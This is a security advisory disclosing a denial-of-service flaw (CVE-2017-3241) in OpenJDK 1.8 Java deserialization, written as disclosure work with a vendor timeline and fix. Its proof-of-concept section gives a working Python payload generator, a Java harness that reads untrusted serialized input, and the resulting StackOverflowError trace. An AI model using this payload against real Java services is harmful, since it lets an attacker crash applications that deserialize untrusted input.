Oracle OpenJDK Runtime Environment Build 1.8.0_112-b15 Denial Of Service

Published
Credit
Risk
2017.01.23
Roman Shalymov
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-3241
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.8/10
6.4/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

Application: Java SE

Vendor: Oracle

Bug: DoS

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Author: Roman Shalymov



1. ADVISORY INFORMATION

Title: Oracle OpenJDK - Java Serialization DoS

Advisory ID: [ERPSCAN-17-006]

Risk: High

Advisory URL:
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle


2. VULNERABILITY INFORMATION


Class: Denial of Service

Remotely Exploitable: Yes

Locally Exploitable: Yes

CVE Name: CVE-2017-3241

CVSS Base Score: 9.0


3. VULNERABILITY DESCRIPTION


An attacker can cause DoS of the application which uses OpenJDK Runtime
Environment 1.8 as its core runtime engine.


4. VULNERABLE PACKAGES


OpenJDK Runtime Environment build 1.8.0_112-b15


5. SOLUTIONS AND WORKAROUNDS


Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
call in switch statement

Adress Oracle CPU January 2017

6. AUTHOR


Roman Shalymov (@shalymov)


7. TECHNICAL DESCRIPTION


An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.



7.1. Proof of Concept



An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:



#!/usr/bin/env python2



import sys



exp = ""

#serialization header

exp += '\xac\xed\x00\x05'



exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'



exp += exp1 * 10000



sys.stdout.write(exp)



and save it in exp2.ser file



$ ./pwn_ser2.py > exp2.ser



Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:



Serialize_read.java



import java.io.FileInputStream;

import java.io.ObjectInputStream;



public class Serialize_read {



public static void main(String args[]) throws Exception {



if(args.length < 1) {

System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");

System.exit(-1);

}



FileInputStream fin = new FileInputStream(args[0]);

ObjectInputStream oin = new ObjectInputStream(fin);



try {

Object objFromDisk = oin.readObject();

String s = (String)objFromDisk;

System.out.println(s);

System.out.println("Successfully read!");

}catch(Exception e){}

System.exit(0);



}



}



Let's try to read our malicious file (we can also simulate this stuff over
network communication):



$ javac Serialize_read.java

$ java Serialize_read exp2.ser



It causes the following error dump:



Exception in thread "main" java.lang.StackOverflowError

at
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

at
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

at
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)



...

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)



8. REPORT TIMELINE

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/


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critical enterprise applications. It was acknowledged multiple times by the
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ERPScan researchers are proud of discovering new types of vulnerabilities
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ERPScan experts were interviewed in specialized info-sec resources and
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Our team consists of highly-qualified researchers, specialized in various
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11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial, Retail and other organizations to
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References:

http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/


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